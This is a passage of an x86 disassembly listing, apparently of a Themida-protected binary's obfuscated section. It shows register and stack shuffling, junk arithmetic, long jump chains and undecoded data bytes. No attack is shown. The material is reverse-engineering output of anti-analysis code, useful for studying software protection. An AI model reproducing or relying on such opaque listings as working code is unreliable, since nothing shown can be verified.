		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_595077
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 81h
		dd 785091C1h, 1DC1812Bh, 290E387Fh, 0F5E959CAh,	55FFFFEDh
		dd 0FF14A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1D01:				; CODE XREF: Themida_:0059517Cj
		add	esp, 4
		not	edi
		sub	edi, 8AA5856Ah
		and	eax, edi
		jmp	loc_5A2C89
; ---------------------------------------------------------------------------
		db 89h
		dd 0F040E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1D1A:				; CODE XREF: Themida_:0059EF26j
		or	ebx, eax
		jmp	loc_5A676A
; ---------------------------------------------------------------------------


loc_5A1D21:				; CODE XREF: Themida_:0059F4CAj
		sub	eax, 6BED6A5Ah
		xor	edx, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4


loc_5A1D2F:				; CODE XREF: Themida_:00597878j
					; Themida_:0059A0B9j
		push	ebx
		jmp	loc_59CA75
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$hÝ',1Bh,0
		align 2
		dw 1C89h
		dd 0FD21E924h, 0D801FFFFh, 0BBD9E956h, 0D701FFFFh, 4EC835Ah
		dd 0FFF434E9h, 240489FFh, 15E9E089h, 8BFFFF31h,	0C481242Ch
		dd 4, 1B8FE953h, 685BFFFFh, 7A14h, 68242C89h, 4, 0FFD07FE9h
		dd 0E92F04FFh, 0FFFF13DAh, 0E979C180h, 2557h, 1B32C281h
		dd 0BB533A1Fh, 522106F2h, 3E71E9h, 0BE58000h, 96B05066h
		dd 8B66C500h, 0EC832404h, 241C8904h, 0FFF36BE9h, 240C8BFFh
		dd 5204C483h, 4D186DBAh, 68EB815Bh, 8140683Ah, 0D77872EBh
		dd 2F24E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1DDA:				; CODE XREF: Themida_:005A63DFj
		mov	ebx, ecx
		push	esi
		mov	esi, ebx
		mov	ebp, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		sub	esp, 4
		jmp	loc_596420
; ---------------------------------------------------------------------------
		db 51h
		dd 8853F188h, 5BD888CBh, 53D0F659h, 0FE88C788h,	0E958665Bh
		dd 0FFFF6FEEh, 0A349DB68h, 0E6C15E39h, 2C68106h, 0E9019CBFh
		dd 0FFFF14FCh, 4C481h, 0A9E90000h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1E2F:				; CODE XREF: Themida_:005A4B21j
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		pop	edx
		sub	esp, 4
		jmp	loc_59684F
; ---------------------------------------------------------------------------


loc_5A1E3F:				; CODE XREF: Themida_:005A659Ej
		push	6BB5h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_59AC1C
; ---------------------------------------------------------------------------


loc_5A1E51:				; CODE XREF: Themida_:0059A029j
		mov	ebx, 284144F6h
		or	ebx, 635E67A3h
		jmp	loc_597693
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aItss		db '‰âéá%',0
		dw 5700h
		dd 0C781E789h, 4, 8704EF83h, 0E95C243Ch, 0FFFFC09Dh, 0BBE9D729h
		dd 89FFFFA4h, 50E92404h, 58FFFF81h, 4246C81h, 6024606Ch
		dd 4246C81h, 3D4667B5h,	11CAE9h, 0D0E95200h, 81000003h
		dd 0FD3F84C3h, 0E9DE0170h, 0FFFFFC8Ch, 88BB535Dh, 81090E14h
		dd 0BA0F8CC3h, 0E9DF3169h, 206Bh, 0AC5AFF0Dh, 8E8C163h
		dd 7FAE5B2Dh, 91C9E900h, 0C8BFFFFh, 4C48324h, 4EC81h, 34890000h
		dd 5B67BE24h, 6C815D0Eh, 142E0424h, 74296543h, 44810424h
		dd 142E0424h, 0BDE96543h
		db 15h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1F0B:				; CODE XREF: Themida_:00597392j
		pop	esi
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_594BA9
; ---------------------------------------------------------------------------
		db 59h
		dd 15B6E957h, 50660000h, 0FFFED2E9h, 4A8768FFh,	51591713h
		dd 41240481h, 5D3B035Dh, 5D41ED81h, 0E9593B03h,	0FFFFC065h
		dd 7459C381h, 0C3011C2Fh, 0FF08E4E9h, 243C87FFh, 318F685Ch
		dd 2C890000h, 621E924h,	0EA81FFFFh, 1E7A42C0h, 9FE9CA01h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1F6B:				; CODE XREF: Themida_:0059E97Cj
		add	bl, al
		pop	eax
		sub	bl, 5
		jmp	loc_5A1594
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 885BFB04h, 0DD0858C3h, 0F5805B66h, 5FF58050h, 6659E830h
		dd 0E9525352h, 0FFFF95A8h, 56D9E981h, 0C101555Ah, 56D9C181h
		dd 6858555Ah, 2151h, 57243489h,	0FF9B03E9h, 5EF001FFh
		dd 7BE5652h, 89637855h,	0ACE95EF2h, 0F700003Eh,	505A2414h
		dd 8413BC68h, 24048B48h, 4C481h, 2FE90000h, 0BAFFFF8Fh
		dd 680271D0h, 0E2B2C281h, 0D129C6BEh, 0FF6352E9h, 0E9C389FFh
		dd 0FFFFA0AFh, 5024048Bh, 0FF22A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1FFD:				; CODE XREF: Themida_:0059E389j
		sub	eax, 0B9560D9Ah
		xor	ebx, eax
		pop	eax
		add	ebx, 1
		xor	ebx, 112328AEh
		xor	ebx, 7E8810CBh
		push	edi
		sub	esp, 4
		mov	[esp], eax
		push	23946127h
		pop	eax
		add	eax, 1FFA10DAh
		mov	edi, eax
		pop	eax
		and	ebx, edi
		pop	edi
		push	3171h
		jmp	loc_5981D4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 2434FFC8h, 0E6895659h, 4BD55h, 0EE010000h
		dd 722E685Dh, 1C890000h, 4BB24h, 0EE810000h, 6C3A66E8h
		dd 3A69EE81h, 0E8E951CDh, 1000042h, 1C8B5EF0h, 4C48124h
		dd 81000000h, 4ECh, 24148900h, 358268h,	243C8900h, 535F5968h
		dd 2434FF1Eh, 0E92434FFh, 0FFFFEC80h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_5A5B86
; ---------------------------------------------------------------------------
		db 0B9h, 0C8h, 50h
		dd 8141762Dh, 0FD2B8DC9h, 4E1C163h, 7FE1C181h, 0CE09F49Eh
		dd 0FFD54FE9h, 814D4DFFh, 264E58CDh, 4D74E93Dh,	0D5F7FFFFh
		dd 3B55ED81h, 0E5812625h, 18647698h, 6FC2C581h,	0ED814A95h
		dd 166F66BBh, 815DE929h, 197067C1h, 84C18116h, 149A123h
		dd 84E981F9h, 8149A123h, 197067E9h, 97BD5516h, 83650F1Ah
		dd 0E94501EDh, 0FFFFFFADh, 0D3315F58h, 0FFCA45E9h, 284B04FFh
		dd 9DAEE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A212E:				; CODE XREF: Themida_:005A4BB9j
		sub	esi, 52A82E41h
		sub	esi, edi
		add	esi, 52A82E41h
		pop	edi
		sub	ecx, esi
		pop	esi
		jmp	loc_5A539B
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 0E9h
		dd 0FFFF6A0Fh
; ---------------------------------------------------------------------------


loc_5A214C:				; CODE XREF: Themida_:0059B00Cj
		or	esi, 20E70A0Eh
		sub	esi, 7120FF07h
		add	esi, 37E77E65h
		push	991h
		mov	[esp], ebx
		mov	ebx, 22CE1750h
		xor	ebx, 34112929h
		dec	ebx
		jmp	loc_59EBA8
; ---------------------------------------------------------------------------
		db 8Fh
		dd 665C2404h, 5700B60Fh, 2494E9h, 4C18300h, 5C240C87h
		dd 25E9F820h, 0B9FFFFE8h, 61F16C3Fh, 6DEEBB53h,	0D801687Ch
		dd 2DC8015Bh, 687C6DEEh, 2DD82959h, 61F16C3Fh, 8904EC83h
		dd 50BB241Ch, 0C134E125h, 0CB8104EBh, 77C62F15h, 8108E3C1h
		dd 280534CBh, 65FDE951h, 21B8FFFFh, 350C5325h, 0C532523h
		dd 0FFFE0CE9h, 78C280FFh, 34FFC230h, 0C4815824h, 4, 80B5EA80h
		dd 0DA00B3C2h, 51B3EA80h, 0E5C080B5h, 2E5C007h,	0FFAF8CE9h
		dd 5F281FFh, 0E9F205B9h, 0FFFFF102h, 81BD04B9h,	2C815128h
		dd 0D95E7124h, 0BB535A10h, 10D95E71h, 0E95BDA01h, 252Dh
; ---------------------------------------------------------------------------


loc_5A2230:				; CODE XREF: Themida_:005A4724j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A34AF
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 55h
		dd 468h, 0EB015D00h, 0FF2862E9h, 4C283FFh, 8B241487h, 0DAE92424h
		dd 0C1FFFFE9h, 0EF8103E7h, 0C301180h, 28BDEE81h, 0FE295762h
		dd 28BDC681h, 61E95762h, 0B6FFFFB4h, 0F6E68625h, 0D66E9D4h
		dd 0C1810000h, 39611C5Fh, 0FFA2B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2291:				; CODE XREF: Themida_:005A35CEj
		add	edx, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		jmp	loc_59F68B
; ---------------------------------------------------------------------------
		dd 8124048Fh, 42404h, 2C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_59A201
; ---------------------------------------------------------------------------
		db 1
		dd 0FF525EF2h, 0FF042474h, 835A2434h, 0F8E904C4h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A22DF:				; CODE XREF: Themida_:005A5364j
		push	edi
		push	4A070536h
		pop	edi
		push	esi
		mov	esi, 5E19443Bh
		jmp	loc_5923EE
; ---------------------------------------------------------------------------


loc_5A22F1:				; CODE XREF: Themida_:00599647j
		pop	esp
		add	ebp, 4
		jmp	loc_5A4183
; ---------------------------------------------------------------------------
		db 0BFh, 0D3h, 7Eh
		dd 0C78165CBh, 5E3933C0h, 5F13CF81h, 0CF814D25h, 6C1A617Fh
		dd 0F781D7F7h, 12C00004h, 815FFB01h, 4EBh, 241C8700h, 0FF9820E9h
		dd 56E189FFh, 0F13D0FBEh, 0BEE817Bh, 17BF13Dh, 0EA63E9F1h
		dd 0C483FFFFh, 66EB2804h, 81240C8Bh, 2C4h, 0C0B60F00h
		dd 0E987048Fh, 0FFFEFC14h
; ---------------------------------------------------------------------------


loc_5A235C:				; CODE XREF: Themida_:0059AC7Bj
		pop	eax
		jmp	loc_59225A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 2414F724h, 0C1D6F75Eh, 0EE8108E6h, 0D3DF6FA4h, 0FFF308E9h
		dd 2C483FFh, 0CDB75366h, 0FFBDE1E9h, 241489FFh,	0E952FA89h
		dd 34BCh, 8001C580h, 0E3E9C7E5h
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A239B:				; CODE XREF: Themida_:00597030j
		xchg	ebx, [esp]
		jmp	loc_594E98
; ---------------------------------------------------------------------------
		dd offset dword_440F60+8
		align 4
		dd 0FF00C3E9h, 240401FFh, 8904EC83h, 26E92434h,	33FFFF45h
		dd 3C31243Ch, 243C3324h, 0E089505Ch, 405h, 40500h, 87E90000h
		dd 0B8FFFFB7h, 5BA15316h, 0E9D0F740h, 0FFFFBD52h, 0D0F6E888h
		dd 5866C588h, 807AC580h, 53660AEDh, 0FD0811B7h,	0C5805B66h
		dd 0E9E828DAh, 0FFFF0F79h, 4C581h, 0ED830000h, 242C8704h
		dd 0FFE078E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2415:				; CODE XREF: Themida_:0059B20Bj
		sub	dword ptr [esp+4], 10EF5380h
		sub	dword ptr [esp+4], 103D5823h
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5969E0
; ---------------------------------------------------------------------------
		dd 0F25CC581h, 0EF01B28Fh, 23CCE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A243E:				; CODE XREF: Themida_:0059721Fj
		mov	esi, 0A5E2222h
		sub	esi, 42105A9h
		add	eax, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4A441191h
		dec	ebx
		push	esi
		push	ecx
		jmp	loc_594526
; ---------------------------------------------------------------------------
		db 81h
		dd 517675EBh, 52BA5202h, 81721408h, 0FD4D05E2h,	9AF2817Fh
		dd 15D7764h, 0E7E95AD3h, 83FFFFE4h, 148904ECh, 0E9E4B624h
		dd 0FFFFA1CFh, 0F55CD5BDh, 0E9E83194h, 0FFFF20ABh, 0CCE2D66h
		dd 66F02966h, 660CCE05h, 660DDD05h, 0E970742Dh,	0DB5h
		dd 8704EA83h, 895C2414h, 69BB241Ch, 0BF4D9421h,	3CE702Fh
		dd 8101C783h, 0ED76A4C7h, 0E5E78121h, 813D8244h, 0C97535EFh
		dd 2595E914h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A24E2:				; CODE XREF: Themida_:005990C1j
		pop	ebp
		jmp	loc_5984A7
; ---------------------------------------------------------------------------
		dd 3E53DFBAh, 9F28163h,	216E9F24h, 24148BD0h, 0D104C483h
		dd 0D6E735E8h, 0C32948A1h, 0FF7C7DE9h, 0C8B66FFh, 4C356824h
		dd 1C890000h, 4EC8324h,	83242489h, 0FF042404h, 95E92434h
		dd 81FFFFCBh, 4C4h, 215A5900h, 62E95FF8h, 80FFFF04h, 0EB2897C5h
		dd 0C0B60F59h, 0FF8734FFh, 68582434h, 1056h, 81240C89h
		dd 4ECh, 4EC8300h, 0FF58BCE9h, 241487FFh, 0FFCB5EE9h, 243489FFh
		dd 0FF508BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A256D:				; CODE XREF: Themida_:0059FC6Fj
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A3B2F
; ---------------------------------------------------------------------------


loc_5A2583:				; CODE XREF: Themida_:0059F16Bj
		push	edi
		mov	edi, 0DF0F66h
		mov	esi, edi
		pop	edi
		add	esi, 71A63FB0h
		sub	edi, esi
		pop	esi
		jmp	loc_59FB5F
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 1F96E9h, 241C8700h, 2404895Ch, 875BB8B8h
		dd 327EE966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A25B6:				; CODE XREF: Themida_:005A48C7j
		mov	[esp], ebx
		push	5995h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, 1F4A7DE1h
		add	ebx, 4BAA739Fh
		add	ebx, ebp
		sub	ebx, 4BAA739Fh
		sub	ebx, 1F4A7DE1h
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A5DC1
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 3C92DEAh, 4446E9h, 243C8900h, 0C781E789h, 4,	4EF81h
		dd 0FF570000h, 0E9042474h, 0FFFF1352h
; ---------------------------------------------------------------------------


loc_5A262C:				; CODE XREF: Themida_:00592A0Bj
		push	esp
		pop	edx
		push	ebp
		mov	ebp, 50C66588h
		xor	ebp, 6B3F6962h
		shr	ebp, 8
		inc	ebp
		sub	ebp, 3BF909h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_592C43
; ---------------------------------------------------------------------------


loc_5A2654:				; CODE XREF: Themida_:005A66AAj
		xchg	ebx, [esp]
		jmp	loc_59F430
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 0C896602h, 4EC8324h, 0FF0469E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2671:				; CODE XREF: Themida_:00591FA6j
		mov	[esp], eax
		jmp	loc_59EACF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BF243C89h, 5AA07129h, 815FFB01h, 4C5F45EBh,	0E9FB0124h
		dd 0FFFF57CEh, 0C2E9D701h, 8100000Ah, 4C4h, 0E6E95200h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A26A7:				; CODE XREF: Themida_:005984AAj
		pop	esi
		jmp	loc_593EE6
; ---------------------------------------------------------------------------


loc_5A26AD:				; CODE XREF: Themida_:0059DED5j
		mov	dword ptr [edx+38h], 94D3A665h
		add	[edx+38h], eax
		jmp	loc_5A1505
; ---------------------------------------------------------------------------
		dd 534BC681h, 0EE813352h, 14B345C4h, 0F12BC681h, 81563A69h
		dd 118A2404h, 555F5F0Dh, 196A1CBDh, 0A2F58122h,	0E94A4861h
		dd 0FFFF0032h, 4240483h, 0FFAAAAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A26F1:				; CODE XREF: Themida_:0059657Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	4
		pop	eax
		push	esi
		jmp	loc_59BE49
; ---------------------------------------------------------------------------
		dd 4C181h, 0BB530000h, 2, 8904EC83h, 0E951242Ch, 0FFFFF805h
; ---------------------------------------------------------------------------


loc_5A2720:				; CODE XREF: Themida_:0059F417j
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5A087B
; ---------------------------------------------------------------------------
aXh@		db 'Xhµ@',0
		dd 0FE8E900h, 0EAC0FFFFh, 0FAA3E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A273E:				; CODE XREF: Themida_:005A3349j
		and	eax, ebx
		jmp	loc_5A4174
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 243C8700h, 0E389535Ch, 0FFAF90E9h
		dd 0CAE952FFh, 0F6FFFF24h, 80C9FED9h, 5366E8F1h, 0D8880DB3h
		dd 241C8B66h, 2C483h, 36CAE9C8h, 7DBD0000h, 8144292Ch
		dd 0F3166C3h, 0EF8DE901h, 0BF57FFFFh, 3FDB13EAh, 2CE9E9h
		dd 24148B00h, 4C481h, 34FF0000h, 24148B24h, 8104C483h
		dd 4C4h, 0A5E95100h, 53FFFF21h,	243B69BBh, 90CBA64h, 0DA01F798h
		dd 0FF4849E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A27C9:				; CODE XREF: Themida_:0059648Aj
		pop	ecx
		push	0BF2h
		mov	[esp], ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 70E46426h
		xor	esi, 70E46422h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A1715
; ---------------------------------------------------------------------------


loc_5A2800:				; CODE XREF: Themida_:0059B882j
		mov	eax, 517F1144h
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		xor	ecx, 52D8487Dh
		sub	esp, 4
		jmp	loc_597BF2
; ---------------------------------------------------------------------------


loc_5A2822:				; CODE XREF: Themida_:005A601Ej
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_596700
; ---------------------------------------------------------------------------
		db 81h
		dd 700576E9h, 81F90115h, 700576C1h, 0C1835F15h,	240C8704h
		dd 16F1E95Ch, 8166FFFFh, 0E9117FF5h, 3665h
; ---------------------------------------------------------------------------


loc_5A2850:				; CODE XREF: Themida_:00598DEDj
		sub	esp, 4
		jmp	loc_59EC38
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A0E92424h, 31FFFF11h, 0DCD8E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A286A:				; CODE XREF: Themida_:0059762Aj
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_593CEB
; ---------------------------------------------------------------------------


loc_5A2879:				; CODE XREF: Themida_:005A6392j
		add	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59F6B9
; ---------------------------------------------------------------------------


loc_5A288A:				; CODE XREF: Themida_:0059785Ej
		mov	edi, 760E478Ah
		and	edi, 7B440163h
		dec	edi
		push	edx
		push	ecx
		mov	ecx, 7F016102h
		neg	ecx
		add	ecx, 2B665769h
		jmp	loc_59F583
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 5000000h, 4, 202E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A28BD:				; CODE XREF: Themida_:0059B096j
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0EDh
		push	edx
		push	ecx
		mov	cl, 26h
		add	cl, 1Dh
		or	cl, 69h
		jmp	loc_5A2DA6
; ---------------------------------------------------------------------------
		db 31h
		dd 0C7015DE8h, 261A6858h, 14890000h, 1732E924h,	248BFFFFh
		dd 240CFE24h, 0F676E99Ch, 6848FFFEh, 1DAh, 0B9240C89h
		dd 60F85C47h, 2D59C809h, 6DF95C75h, 5506EE81h, 0C60143E7h
		dd 0FF0F5CE9h, 87CA29FFh, 0D1F75AD1h, 50BA5241h, 4A78292Dh
		dd 0EA81DAF7h, 7D36481h, 9D62F281h, 0D1295616h,	0FF5652E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2941:				; CODE XREF: Themida_:005A712Cj
		mov	cl, 12h
		add	cl, 49h
		jmp	loc_5A2BA5
; ---------------------------------------------------------------------------


loc_5A294B:				; CODE XREF: Themida_:005A4FCAj
		pop	ecx
		jmp	loc_598A35
; ---------------------------------------------------------------------------


loc_5A2951:				; CODE XREF: Themida_:005969FFj
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	2805h
		mov	[esp], ebx
		jmp	loc_5966A0
; ---------------------------------------------------------------------------
		dw 1E9h
		dd 5AFFFEF6h, 0EDE95057h, 89FFFF02h, 6855243Ch,	194F5FAAh
		dd 81242C8Bh, 4C4h, 4EC8100h, 0E9000000h, 4655h
; ---------------------------------------------------------------------------


loc_5A2994:				; CODE XREF: Themida_:0059D0B3j
		pop	ax
		push	eax
		mov	al, 98h
		xor	al, 57h
		not	al
		push	small 19B0h
		mov	[esp], cx
		mov	cl, 4
		sub	al, cl
		pop	cx
		jmp	loc_5A2F85
; ---------------------------------------------------------------------------
		dd 0B301E956h, 0EEC1FFFFh, 5E6C107h, 0E907EEC1h, 0FFFF6B5Eh
		dd 4246C31h, 5D2434FFh,	436568h, 24048900h, 405E089h, 55000000h
		dd 3E5827BDh, 0EDC14563h, 5B17E905h, 1487FFFFh,	0C3015C24h
		dd 26A0B951h, 0CB2963A3h, 35A96859h, 34890000h,	0BEB85024h
		dd 89424A6Dh, 685758C6h, 3397F9Eh, 83243C8Bh, 0FE3104C4h
		dd 0FFC6835Fh, 0F681E6D1h, 53765895h, 1251E9h, 0E7816600h
		dd 81664C37h, 66ED87EFh, 665FFA89h, 5A66D521h, 8CE94D66h
		dd 1FFFFCAh, 0E2C781CFh, 5922010Dh, 8704C783h, 335C243Ch
		dd 34312434h, 24343324h, 0FFD48DE9h, 0C8B5BFFh,	4C48324h
		dd 4BEBBA52h, 54292479h, 815A0824h, 0BE042444h,	0E900B130h
		dd 0FFFFD202h, 6546ED81h, 0EA8978BAh, 64C2815Dh, 5535F843h
		dd 0D96DA8BDh, 4EC8146h, 89000000h, 78B82404h, 0E9268A18h
		dd 0FFFF8F11h
; ---------------------------------------------------------------------------


loc_5A2AA8:				; CODE XREF: Themida_:005A5EDEj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A082D
; ---------------------------------------------------------------------------


loc_5A2AB6:				; CODE XREF: Themida_:005A31E5j
		mov	[esp], esi
		push	edx
		jmp	loc_5A5289
; ---------------------------------------------------------------------------
		db 87h
		dd 0D5E92404h, 46FFFFF5h, 82BE9h, 49CC0500h, 0EC813CFEh
		dd 4, 8B240489h, 0C481241Ch, 4,	5BDF0158h, 0FF0EFFE9h
		dd 5AD589FFh, 0CF76C581h, 0EA295091h, 0FF6E80E9h, 24048BFFh
		dd 4EC81h, 4890000h, 5E08924h, 4, 8704C083h, 815C2404h
		dd 0C4EF6EBh, 0E1E95276h, 81FFFF30h, 5674FCEDh,	0BA5256CCh
		dd 11214D7h, 0C15AD689h, 0C68103EEh, 75F620E4h,	15EF329h
		dd 0BD5557EBh, 7618637Eh, 15DEF89h, 2C8B5FFBh, 4C48124h
		dd 33000000h, 1C31241Ch, 241C3324h, 0FF0E64E9h,	240C8BFFh
		dd 0FFB7BFE9h, 241C89FFh, 241C8B54h, 4C481h, 0C3810000h
		dd 4, 0FF5A73E9h, 4B8FFh, 44010000h, 3EE90424h,	0B9FFFFD7h
		dd 320C6218h, 0FFF148E9h, 240489FFh, 0FF923BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2BA5:				; CODE XREF: Themida_:005A2946j
		shl	cl, 8
		sub	cl, 0B3h
		mov	al, cl
		pop	ecx
		xor	al, 17h
		and	al, 94h
		inc	al
		add	al, 28h
		jmp	loc_5989F0
; ---------------------------------------------------------------------------


loc_5A2BBB:				; CODE XREF: Themida_:0059DFDAj
		pop	edx
		jmp	loc_5A0BD3
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 24048700h, 1652E9h,	0E9E92900h, 0FFFF1438h
		dd 5266D830h, 0FFE93CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2BE5:				; CODE XREF: Themida_:0059E879j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ecx
		push	eax
		jmp	loc_59F269
; ---------------------------------------------------------------------------


loc_5A2BF1:				; CODE XREF: Themida_:00598C62j
		sub	ecx, 71EF293Ch
		sub	ecx, 2D121BCh
		shl	ecx, 4
		xor	ecx, 1206A0E4h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_59D68B
; ---------------------------------------------------------------------------
		db 41h,	81h, 0E9h
		dd 35F51332h, 0C181D9F7h, 0EC1BF553h, 5359CE01h, 0EA5F12BBh
		dd 1BD5556h, 1000000h, 0BF575DEBh, 56EA5F17h, 3C8BFB31h
		dd 4C48124h, 83000000h,	148904ECh, 17E7BA24h, 0EA8100FFh
		dd 0A62104Bh, 5C8DBD55h, 0E5D13FCBh, 5D54ED81h,	0EA01322Bh
		dd 0FFF0FAE9h, 0C7815FFFh, 4, 2BA52h, 52530000h, 45C3B850h
		dd 0E12D6F0Fh, 48119564h, 0FF2A4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2C89:				; CODE XREF: Themida_:005A1D0Ej
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_59F8F3
; ---------------------------------------------------------------------------
		dw 5550h
		dd 462902BDh, 1425E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2CAE:				; CODE XREF: Themida_:00599A33j
		sub	esp, 4
		mov	[esp], edi
		push	45751C07h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 604A1531h
		shr	edi, 6
		push	eax
		jmp	loc_5A6DDE
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 2434335Dh, 0E9243431h, 0FFFFE0F0h
; ---------------------------------------------------------------------------


loc_5A2CDC:				; CODE XREF: Themida_:0059A0C5j
		mov	[esp], ebp
		push	edx
		mov	edx, 183E68BEh
		sub	edx, 0A4FF4847h
		mov	ebp, edx
		pop	edx
		shl	ebp, 6
		sub	ebp, 6F2808A6h
		push	6BFEh
		mov	[esp], ebp
		neg	dword ptr [esp]
		pop	ebp
		sub	ebp, 9B838591h
		xor	[esp+4], ebp
		jmp	loc_5A3987
; ---------------------------------------------------------------------------


loc_5A2D12:				; CODE XREF: Themida_:005A5A73j
		mov	ch, 96h
		push	ecx
		mov	cl, 0FBh
		or	cl, 0E2h
		inc	cl
		shr	cl, 4
		not	cl
		sub	cl, 67h
		push	edx
		mov	dh, 0CDh
		jmp	loc_5A0728
; ---------------------------------------------------------------------------


loc_5A2D2C:				; CODE XREF: Themida_:00593EE9j
		mov	[esp], edx
		jmp	loc_59537E
; ---------------------------------------------------------------------------
		dd 24048B66h, 670668h, 241C8900h, 0FFE88BE9h, 0F226E9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2D4A:				; CODE XREF: Themida_:0059964Fj
		sub	ebx, 5C3D2740h
		sub	ebx, 34B72714h
		add	ebx, ecx
		jmp	loc_59AEA8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E0895024h, 405h, 2C08300h, 0E9E18951h, 0FFFFBD39h
		dd 5C243C87h, 0FF525CE9h, 0E95266FFh, 0FFFF66F7h, 38AAEF81h
		dd 814F5DA7h, 5EA645F7h, 4815787h, 677EF124h, 0ED815D09h
		dd 9677EF1h, 0F330E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2DA6:				; CODE XREF: Themida_:005A28D6j
		push	eax
		mov	ah, 0B7h
		inc	ah
		not	ah
